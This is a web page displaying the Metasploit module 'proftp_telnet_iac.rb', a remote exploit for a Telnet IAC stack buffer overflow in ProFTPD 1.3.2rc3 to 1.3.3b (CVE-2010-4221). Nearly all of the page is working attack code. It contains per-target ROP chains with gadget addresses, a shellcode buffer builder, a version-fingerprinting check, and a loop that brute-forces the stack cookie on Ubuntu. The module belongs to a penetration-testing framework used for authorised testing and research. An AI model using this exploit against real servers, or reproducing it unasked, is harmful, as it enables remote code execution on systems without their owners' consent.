Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ftp/proftp_telnet_iac.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(update_info(info,13'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',14'Description' => %q{15This module exploits a stack-based buffer overflow in versions of ProFTPD16server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a17large number of Telnet IAC commands, an attacker can corrupt memory and18execute arbitrary code.1920The Debian Squeeze version of the exploit uses a little ROP stub to indirectly21transfer the flow of execution to a pool buffer (the cmd_rec "res" in22"pr_cmd_read").2324The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub25to it, and execute the stub. The stub then copies the remainder of the payload26in and executes it.2728NOTE: Most Linux distributions either do not ship a vulnerable version of29ProFTPD, or they ship a version compiled with stack smashing protection.3031Although SSP significantly reduces the probability of a single attempt32succeeding, it will not prevent exploitation. Since the daemon forks in a33default configuration, the cookie value will remain the same despite34some attempts failing. By making repeated requests, an attacker can eventually35guess the cookie value and exploit the vulnerability.3637The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness38and could allow exploitation in semi-reasonable amount of time.39},40'Author' => [ 'jduck' ],41'References' =>42[43['CVE', '2010-4221'],44['OSVDB', '68985'],45['BID', '44562']46],47'DefaultOptions' =>48{49'EXITFUNC' => 'process',50'PrependChrootBreak' => true51},52'Privileged' => true,53'Payload' =>54{55'Space' => 4096,56# NOTE: \xff are avoided here so we can control the number of them being sent.57'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",58'DisableNops' => 'True',59},60'Platform' => [ 'linux' ],61'Targets' =>62[63#64# Automatic targeting via fingerprinting65#66[ 'Automatic Targeting', { 'auto' => true } ],6768#69# This special one comes first since we dont want its index changing.70#71[ 'Debug',72{73'IACCount' => 8192, # should cause crash writing off end of stack74'Offset' => 0,75'Ret' => 0x41414242,76'Writable' => 0x4343454577}78],7980#81# specific targets82#8384# NOTE: this minimal rop works most of the time, but it can fail85# if the proftpd pool memory is in a different order for whatever reason...86[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',87{88'IACCount' => 4096+16,89'Offset' => 0x102c-4,90# NOTE: All addresses are from the proftpd binary91'Ret' => 0x805a547, # pop esi / pop ebp / ret92'Writable' => 0x80e81a0, # .data93'RopStack' =>94[95# Writable is here960xcccccccc, # unused970x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret980xcccccccc, # becomes ebx990xcccccccc, # becomes esi1000xcccccccc, # becomes ebp101# quadruple deref the res pointer :)1020x8068886, # mov eax,[eax] / ret1030x8068886, # mov eax,[eax] / ret1040x8068886, # mov eax,[eax] / ret1050x8068886, # mov eax,[eax] / ret106# skip the pool chunk header1070x805bd8e, # inc eax / adc cl, cl / ret1080x805bd8e, # inc eax / adc cl, cl / ret1090x805bd8e, # inc eax / adc cl, cl / ret1100x805bd8e, # inc eax / adc cl, cl / ret1110x805bd8e, # inc eax / adc cl, cl / ret1120x805bd8e, # inc eax / adc cl, cl / ret1130x805bd8e, # inc eax / adc cl, cl / ret1140x805bd8e, # inc eax / adc cl, cl / ret1150x805bd8e, # inc eax / adc cl, cl / ret1160x805bd8e, # inc eax / adc cl, cl / ret1170x805bd8e, # inc eax / adc cl, cl / ret1180x805bd8e, # inc eax / adc cl, cl / ret1190x805bd8e, # inc eax / adc cl, cl / ret1200x805bd8e, # inc eax / adc cl, cl / ret1210x805bd8e, # inc eax / adc cl, cl / ret1220x805bd8e, # inc eax / adc cl, cl / ret123# execute the data :)1240x0805c26c, # jmp eax125],126}127],128129# For the version compiled with symbols :)130[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',131{132'IACCount' => 4096+16,133'Offset' => 0x1028-4,134# NOTE: All addresses are from the proftpd binary135'Writable' => 0x80ec570, # .data136'Ret' => 0x80d78c2, # pop esi / pop ebp / ret137'RopStack' =>138[139# Writable is here140#0x0808162a, # jmp esp (works w/esp fixup)1410xcccccccc, # unused becomes ebp1420x80d78c2, # mov eax,esi / pop esi / pop ebp / ret1430xcccccccc, # unused becomes esi1440xcccccccc, # unused becomes ebp145# quadruple deref the res pointer :)1460x806a915, # mov eax,[eax] / pop ebp / ret1470xcccccccc, # unused becomes ebp1480x806a915, # mov eax,[eax] / pop ebp / ret1490xcccccccc, # unused becomes ebp1500x806a915, # mov eax,[eax] / pop ebp / ret1510xcccccccc, # unused becomes ebp1520x806a915, # mov eax,[eax] / pop ebp / ret1530xcccccccc, # unused becomes ebp154# skip the pool chunk header1550x805d6a9, # inc eax / adc cl, cl / ret1560x805d6a9, # inc eax / adc cl, cl / ret1570x805d6a9, # inc eax / adc cl, cl / ret1580x805d6a9, # inc eax / adc cl, cl / ret1590x805d6a9, # inc eax / adc cl, cl / ret1600x805d6a9, # inc eax / adc cl, cl / ret1610x805d6a9, # inc eax / adc cl, cl / ret1620x805d6a9, # inc eax / adc cl, cl / ret1630x805d6a9, # inc eax / adc cl, cl / ret1640x805d6a9, # inc eax / adc cl, cl / ret1650x805d6a9, # inc eax / adc cl, cl / ret1660x805d6a9, # inc eax / adc cl, cl / ret1670x805d6a9, # inc eax / adc cl, cl / ret1680x805d6a9, # inc eax / adc cl, cl / ret1690x805d6a9, # inc eax / adc cl, cl / ret1700x805d6a9, # inc eax / adc cl, cl / ret171# execute the data :)1720x08058de6, # jmp eax173],174}175],176177[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',178{179'IACCount' => 1018,180'Offset' => 0x420,181'CookieOffset' => -0x20,182'Writable' => 0x80db3a0, # becomes esi (beginning of .data)183'Ret' => 0x805389b, # pop esi / pop ebp / ret184'RopStack' =>185[1860xcccccccc, # becomes ebp1871880x8080f04, # pop eax / ret1890x80db330, # becomes eax (GOT of mmap64)1901910x806a716, # mov eax, [eax] / ret1920x805dd5c, # jmp eax1930x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret194# mmap args1950, 0x20000, 0x7, 0x22, 0xffffffff, 0,1960, # unused1970xcccccccc, # unused1980xcccccccc, # unused1990x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx2000xcccccccc, # becomes ebp201202# note, ebx gets fixed above :)203# 0xfe in 'ah' doesn't matter since we have more than enough space.204# now, load an instruction to store to eax2050x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret206# becomes edx - mov [eax+ebp*4]; ebx / ret207"\x89\x1c\xa8\xc3".unpack('V').first,208209# store it :)2100x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret2110xcccccccc, # unused2120xcccccccc, # unused2130xcccccccc, # unused2140xcccccccc, # unused2150xcccccccc, # becomes ebx2160xcccccccc, # becomes esi2170xcccccccc, # becomes ebp218219# Copy the following stub:220#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]221#"\x8d\x78\x12" # lea edi, [eax+0x12]222#"\x6a\x7f" # push 0x7f223#"\x59" # pop ecx224#"\xf2\xa5" # rep movsd2252260x80607b5, # pop ebx / pop ebp / ret2270xfb2124b4, # becomes ebx2281, # becomes ebp2290x805dd5c, # jmp eax2302310x80607b5, # pop ebx / pop ebp / ret2320x788dffff, # becomes ebx2332, # becomes ebp2340x805dd5c, # jmp eax2352360x80607b5, # pop ebx / pop ebp / ret2370x597f6a12, # becomes ebx2383, # becomes ebp2390x805dd5c, # jmp eax2402410x80607b5, # pop ebx / pop ebp / ret2420x9090a5f2, # becomes ebx2434, # becomes ebp2440x805dd5c, # jmp eax2452460x80607b5, # pop ebx / pop ebp / ret2470x8d909090, # becomes ebx2480, # becomes ebp2490x805dd5c, # jmp eax250251# hopefully we dont get here2520xcccccccc,253],254}255]256257],258'DefaultTarget' => 0,259'DisclosureDate' => '2010-11-01'))260261register_options(262[263Opt::RPORT(21),264])265end266267268def check269# NOTE: We don't care if the login failed here...270ret = connect271banner = sock.get_once || ''272273# We just want the banner to check against our targets..274vprint_status("FTP Banner: #{banner.strip}")275276status = CheckCode::Safe277if banner =~ /ProFTPD (1\.3\.[23])/i278banner_array = banner.split('.')279280if banner_array.count() > 0 && !banner_array[3].nil?281# gets 1 char on the third part of version number.282relnum = banner_array[2][0..0]283tmp = banner_array[2].split(' ')284# gets extra string info of version number.285# example: 1.2.3rc ('rc' string)286extra = tmp[0][1..(tmp[0].length - 1)]287if relnum == '2'288if extra.length > 0289if extra[0..1] == 'rc'290v = extra[2..extra.length].to_i291if v && v > 2292status = CheckCode::Appears293end294else295status = CheckCode::Appears296end297end298elsif relnum == '3'299if [ '', 'a', 'b', ].include?(extra)300status = CheckCode::Appears301end302end303end304end305306disconnect307return status308end309310311def exploit312connect313banner = sock.get_once || ''314315# Use a copy of the target316mytarget = target317318if (target['auto'])319mytarget = nil320321print_status("Automatically detecting the target...")322if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then323print_status("FTP Banner: #{banner.strip}")324version = m[1]325else326fail_with(Failure::NoTarget, "No matching target")327end328329regexp = Regexp.escape(version)330self.targets.each do |t|331if (t.name =~ /#{regexp}/) then332mytarget = t333break334end335end336337if (not mytarget)338fail_with(Failure::NoTarget, "No matching target")339end340341print_status("Selected Target: #{mytarget.name}")342else343print_status("Trying target #{mytarget.name}...")344if banner345print_status("FTP Banner: #{banner.strip}")346end347end348349#puts "attach and press any key"; bleh = $stdin.gets350351buf = ''352buf << 'SITE '353354#buf << "\xcc"355if mytarget['CookieOffset']356buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]357end358buf << payload.encoded359360# The number of characters left must be odd at this point.361buf << rand_text(1) if (buf.length % 2) == 0362buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)363364buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)365366addrs = [367mytarget['Ret'],368mytarget['Writable']369].pack('V*')370371if mytarget['RopStack']372addrs << mytarget['RopStack'].map { |e|373if e == 0xcccccccc374rand_text(4).unpack('V').first375else376e377end378}.pack('V*')379end380381# Make sure we didn't introduce instability382addr_badchars = "\x09\x0a\x0b\x0c\x20"383if idx = Rex::Text.badchar_index(addrs, addr_badchars)384fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))385end386387buf << addrs388buf << "\r\n"389390391#392# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it393# doesn't change while proftpd forks children. Therefore, we can try forever394# and eventually guess it correctly.395#396# NOTE: if the cookie contains one of our bad characters, we're SOL.397#398if mytarget['CookieOffset']399print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")400401disconnect402403max = 0xffffff00404off = mytarget['Offset'] + mytarget['CookieOffset']405406cookie = last_cookie = 0407#cookie = 0x17ccd600408409start = Time.now410last = start - 10411412while not session_created?413now = Time.now414if (now - last) >= 10415perc = (cookie * 100) / max416qps = ((cookie - last_cookie) >> 8) / 10.0417print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])418last = now419last_cookie = cookie420end421422sd = connect(false)423sd.get_once424buf[off, 4] = [cookie].pack('V')425sd.put(buf)426disconnect(sd)427428cookie += 0x100429break if cookie > max430end431432if not session_created?433fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")434end435else436sock.put(buf)437disconnect438end439440handler441end442end443444445